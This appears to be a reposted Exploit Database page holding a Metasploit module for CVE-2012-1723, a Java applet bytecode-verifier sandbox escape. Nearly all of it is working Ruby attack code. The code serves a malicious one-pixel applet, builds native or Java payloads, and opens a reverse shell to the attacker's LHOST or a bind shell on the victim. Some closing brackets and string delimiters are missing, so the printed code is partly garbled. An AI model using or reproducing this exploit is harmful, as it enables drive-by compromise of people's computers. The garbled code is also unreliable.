Java Applet – Field Bytecode Verifier Cache Remote Code Execution (Metasploit)

Exploit Database
104 阅读

作者： Metasploit

日期： 2012-07-11
类别：
- remote
平台：
- java
来源：https://www.exploit-db.com/exploits/19717/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({ :javascript => false })

def initialize( info = {} )

super( update_info( info,

'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',

'Description'=> %q{

This module exploits a vulnerability in HotSpot bytecode verifier where an invalid

optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent

type checks. This allows a way to escape the JRE sandbox, and load additional classes

in order to perform malicious operations.

'License'=> MSF_LICENSE,

'Author' =>

[

'Stefan Cornellius', # Discoverer

'mihi',# Vuln analysis

'littlelightlittlefire', # metasploit module

'juan vazquez',# merged code (overlapped)

'sinn3r' # merged code (overlapped)

'References' =>

[

['CVE', '2012-1723'],

['OSVDB', '82877'],

['BID', '52161'],

['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],

['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],

['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],

['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],

['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']

'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],

'Payload'=> { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },

'Targets'=>

[

[ 'Generic (Java Payload)',

{

'Platform' => ['java'],

'Arch' => ARCH_JAVA

}

[ 'Windows x86 (Native Payload)',

{

'Platform' => 'win',

'Arch' => ARCH_X86

}

[ 'Mac OS X PPC (Native Payload)',

{

'Platform' => 'osx',

'Arch' => ARCH_PPC

}

[ 'Mac OS X x86 (Native Payload)',

{

'Platform' => 'osx',

'Arch' => ARCH_X86

}

[ 'Linux x86 (Native Payload)',

{

'Platform' => 'linux',

'Arch' => ARCH_X86

}

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jun 06 2012'

))

end

def exploit

# load the static jar file

path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1723.jar" )

fd = File.open( path, "rb" )

@jar_data = fd.read(fd.stat.size)

fd.close

super

end

def on_request_uri( cli, request )

data = ""

host = ""

port = ""

if not request.uri.match(/\.jar$/i)

if not request.uri.match(/\/$/)

send_redirect( cli, get_resource() + '/', '')

return

end

print_status("Sending #{self.name}")

payload = regenerate_payload( cli )

if not payload

print_error("Failed to generate the payload." )

return

end

if target.name == 'Generic (Java Payload)'

if datastore['LHOST']

jar= payload.encoded

host = datastore['LHOST']

port = datastore['LPORT']

vprint_status("Sending java reverse shell")

else

port = datastore['LPORT']

datastore['RHOST'] = cli.peerhost

vprint_status( "Java bind shell" )

end

if jar

print_status( "Generated jar to drop (#{jar.length} bytes)." )

jar = Rex::Text.to_hex( jar, prefix="" )

else

print_error("Failed to generate the executable." )

return

end

else

# NOTE: The EXE mixin automagically handles detection of arch/platform

data = generate_payload_exe

if data

print_status("Generated executable to drop (#{data.length} bytes)." )

data = Rex::Text.to_hex( data, prefix="" )

else

print_error("Failed to generate the executable." )

return

end

send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )

return

end

print_status("Sending jar")

send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )

handler( cli )

end

def generate_html( data, jar, host, port )

jar_name = rand_text_alpha(rand(6)+3) + ".jar"

html= "<html><head></head>"

html += "<body>"

html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"

html += "<param name=\"data\" value=\"#{data}\"/>" if data

html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar

html += "<param name=\"lhost\" value=\"#{host}\"/>" if host

html += "</applet></body></html>"

return html

end

def generate_jar()

@jar_data

end